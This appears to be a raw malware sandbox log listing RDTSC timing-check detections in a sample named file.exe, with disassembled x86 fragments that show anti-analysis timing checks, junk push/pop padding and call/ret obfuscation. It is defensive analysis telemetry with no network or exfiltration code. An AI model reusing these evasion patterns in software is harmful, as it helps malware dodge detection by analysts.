Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6ED second address: D6D6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6F1 second address: D6D6F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D874 second address: D6D882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D882 second address: D6D8AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F76D4BF1AF8h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DE5C second address: D6DE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E38E second address: D6E39C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E39C second address: D6E3CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F76D47AEA84h 0x00000010 xchg eax, ebx 0x00000011 mov di, ax 0x00000014 nop 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E3CB second address: D6E3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E3CF second address: D6E3F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F76D47AEA76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E3F3 second address: D6E40E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E40E second address: D6E412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E412 second address: D6E42F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E9F4 second address: D6EA09 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D47AEA7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70CF8 second address: D70CFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D717B0 second address: D717B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7222B second address: D7229D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnl 00007F76D4BF1B02h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F76D4BF1AF8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 xor dword ptr [ebp+122D1EFEh], edi 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 add dword ptr [ebp+122D1EC0h], esi 0x00000037 xchg eax, ebx 0x00000038 jbe 00007F76D4BF1B03h 0x0000003e jmp 00007F76D4BF1AFDh 0x00000043 push eax 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F76D4BF1B02h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D714C0 second address: D714C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D714C6 second address: D714CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D714CA second address: D714CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73522 second address: D73526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73526 second address: D7352C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78951 second address: D78955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7982E second address: D79840 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79840 second address: D79845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B61A second address: D7B620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B88B second address: D7B88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B88F second address: D7B8AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D50B second address: D7D518 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76D4BF1AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D518 second address: D7D585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, eax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F76D47AEA78h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov bl, 21h 0x0000002b jno 00007F76D47AEA76h 0x00000031 movzx ebx, di 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F76D47AEA78h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov ebx, 6BF326F3h 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jnc 00007F76D47AEA78h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E651 second address: D7E657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E657 second address: D7E66E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F76D47AEA82h 0x0000000f je 00007F76D47AEA7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F7A7 second address: D7F7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F7AB second address: D7F7B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31269 second address: D3126D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3126D second address: D31283 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76D47AEA7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31283 second address: D31289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31289 second address: D3128D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3128D second address: D312C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F76D4BF1AFEh 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F76D4BF1B01h 0x0000001d jl 00007F76D4BF1AF6h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312C5 second address: D312CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312CB second address: D312E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1B01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D312E0 second address: D312E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82B6D second address: D82B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82B71 second address: D82B7B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83CBE second address: D83D4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F76D4BF1B0Fh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov ebx, dword ptr [ebp+122D2A83h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F76D4BF1AF8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F76D4BF1AF8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e add dword ptr [ebp+1244C58Dh], esi 0x00000054 xchg eax, esi 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F76D4BF1B02h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82CED second address: D82CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82CF1 second address: D82CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83EE5 second address: D83EF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83EF5 second address: D83EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83EFA second address: D83F8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push dword ptr fs:[00000000h] 0x00000011 call 00007F76D47AEA7Ch 0x00000016 jc 00007F76D47AEA7Ch 0x0000001c and ebx, dword ptr [ebp+122D29ABh] 0x00000022 pop ebx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F76D47AEA78h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov edi, dword ptr [ebp+122D2B77h] 0x0000004a mov eax, dword ptr [ebp+122D1055h] 0x00000050 mov dword ptr [ebp+122D1ED6h], edx 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push ebx 0x0000005b call 00007F76D47AEA78h 0x00000060 pop ebx 0x00000061 mov dword ptr [esp+04h], ebx 0x00000065 add dword ptr [esp+04h], 00000015h 0x0000006d inc ebx 0x0000006e push ebx 0x0000006f ret 0x00000070 pop ebx 0x00000071 ret 0x00000072 nop 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 jg 00007F76D47AEA76h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83F8D second address: D83F96 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83F96 second address: D83FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D47AEA84h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83FB6 second address: D83FBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85025 second address: D85029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86E4D second address: D86ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F76D4BF1AF8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jnc 00007F76D4BF1B01h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F76D4BF1AF8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c pop edi 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F76D4BF1B02h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86ED8 second address: D86EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86010 second address: D86015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87016 second address: D8701D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8701D second address: D8703A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F76D4BF1AF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88D61 second address: D88DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F76D47AEA76h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F76D47AEA84h 0x00000012 nop 0x00000013 pushad 0x00000014 mov dword ptr [ebp+122D1D53h], esi 0x0000001a mov bh, dl 0x0000001c popad 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F76D47AEA78h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 or edi, 638FBDE2h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007F76D47AEA78h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000019h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b mov ebx, dword ptr [ebp+122D286Bh] 0x00000061 mov ebx, dword ptr [ebp+122D21C3h] 0x00000067 xchg eax, esi 0x00000068 pushad 0x00000069 jmp 00007F76D47AEA7Eh 0x0000006e push eax 0x0000006f push edx 0x00000070 push edx 0x00000071 pop edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AC30 second address: D8AC5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F76D4BF1AF6h 0x00000014 jmp 00007F76D4BF1B07h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88F68 second address: D88F79 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88F79 second address: D88F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88F7F second address: D88F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88F84 second address: D8901C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F76D4BF1AFFh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F76D4BF1AF8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 jl 00007F76D4BF1AFCh 0x0000003c mov dword ptr [ebp+12452332h], eax 0x00000042 xor dword ptr [ebp+122D1EB6h], edx 0x00000048 mov eax, dword ptr [ebp+122D059Dh] 0x0000004e push 00000000h 0x00000050 push ebp 0x00000051 call 00007F76D4BF1AF8h 0x00000056 pop ebp 0x00000057 mov dword ptr [esp+04h], ebp 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc ebp 0x00000064 push ebp 0x00000065 ret 0x00000066 pop ebp 0x00000067 ret 0x00000068 push FFFFFFFFh 0x0000006a call 00007F76D4BF1AFCh 0x0000006f pop ebx 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jnp 00007F76D4BF1AFCh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92288 second address: D92294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jne 00007F76D47AEA76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92464 second address: D92470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F76D4BF1AF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92470 second address: D92483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D925C2 second address: D925CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D925CA second address: D925DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9277F second address: D92784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92784 second address: D92789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92789 second address: D927C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F76D4BF1AF6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d ja 00007F76D4BF1AF8h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F76D4BF1AFAh 0x0000001d push ebx 0x0000001e jnp 00007F76D4BF1AF6h 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F76D4BF1AFDh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D978B1 second address: D978C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9795B second address: D9795F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9795F second address: D97969 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D9C9 second address: D9D9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C73E second address: D9C760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76D47AEA76h 0x0000000a jmp 00007F76D47AEA7Ah 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pushad 0x00000015 ja 00007F76D47AEA76h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C760 second address: D9C766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D27A second address: D9D291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F76D47AEA7Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
